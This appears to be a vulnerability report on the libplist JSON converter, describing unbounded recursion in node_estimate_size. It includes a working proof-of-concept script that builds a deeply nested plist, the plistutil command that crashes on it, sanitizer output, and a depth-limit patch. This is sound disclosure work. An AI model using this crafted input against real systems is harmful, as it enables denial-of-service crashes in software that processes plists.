A stack overflow in jplist.c

[unbengable12]

Description

When calculating the size of a node, the node_estimate_size function does not limit the depth, resulting in a stack overflow.

plist_err_t plist_to_json(plist_t plist, char **plist_json, uint32_t* length, int prettify)
{
    [...]
    res = node_estimate_size((node_t)plist, &size, 0, prettify);
    [...]
}

static plist_err_t node_estimate_size(node_t node, uint64_t *size, uint32_t depth, int prettify)
{
    plist_data_t data;
    if (!node) {
        return PLIST_ERR_INVALID_ARG;
    }
    data = plist_get_data(node);
    if (node->children) {
        node_t ch;
        unsigned int n_children = node_n_children(node);
        for (ch = node_first_child(node); ch; ch = node_next_sibling(ch)) {
            plist_err_t res = node_estimate_size(ch, size, depth + 1, prettify);  // Loop call
            if (res < 0) {
                return res;
            }
        }
     [...]
    return PLIST_ERR_SUCCESS;
}

PoC

cnt = 500000
prefix = "<array>"
suffix = "</array>"
plist = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
""" + prefix * cnt + suffix * cnt + "</plist>"
with open("1.plist", "w") as f:
    f.write(plist)

plistutil -i 1.plist -f json

ASAN Output

AddressSanitizer:DEADLYSIGNAL
=================================================================
==2201653==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd7d37bff8 (pc 0x7bce996f1468 bp 0x7ffd7d37c020 sp 0x7ffd7d37bfe0 T0)
    #0 0x7bce996f1468 in node_estimate_size ../src/jplist.c:319
    #1 0x7bce996f150a in node_estimate_size ../src/jplist.c:329
    #2 0x7bce996f150a in node_estimate_size ../src/jplist.c:329
    [...]
SUMMARY: AddressSanitizer: stack-overflow .../src/jplist.c:319 in node_estimate_size
==2201653==ABORTING

Suggestion Repair

When entering the node_estimate_size function or before calling the node_estimate_size function, check the depth. If it is greater than a certain value, return an error message.

diff --git a/src/jplist.c b/src/jplist.c
index 1c7a932..d2d799a 100644
--- a/src/jplist.c
+++ b/src/jplist.c
@@ -317,6 +317,10 @@ static int num_digits_u(uint64_t i)
 
 static plist_err_t node_estimate_size(node_t node, uint64_t *size, uint32_t depth, int prettify)
 {
+    if (depth > 1000) {
+        PLIST_JSON_WRITE_ERR("JSON is nested too deeply\n");
+        return PLIST_ERR_FORMAT;
+    }
     plist_data_t data;
     if (!node) {
         return PLIST_ERR_INVALID_ARG;

[unbengable12]

Similar problems also exist in the node_to_json function.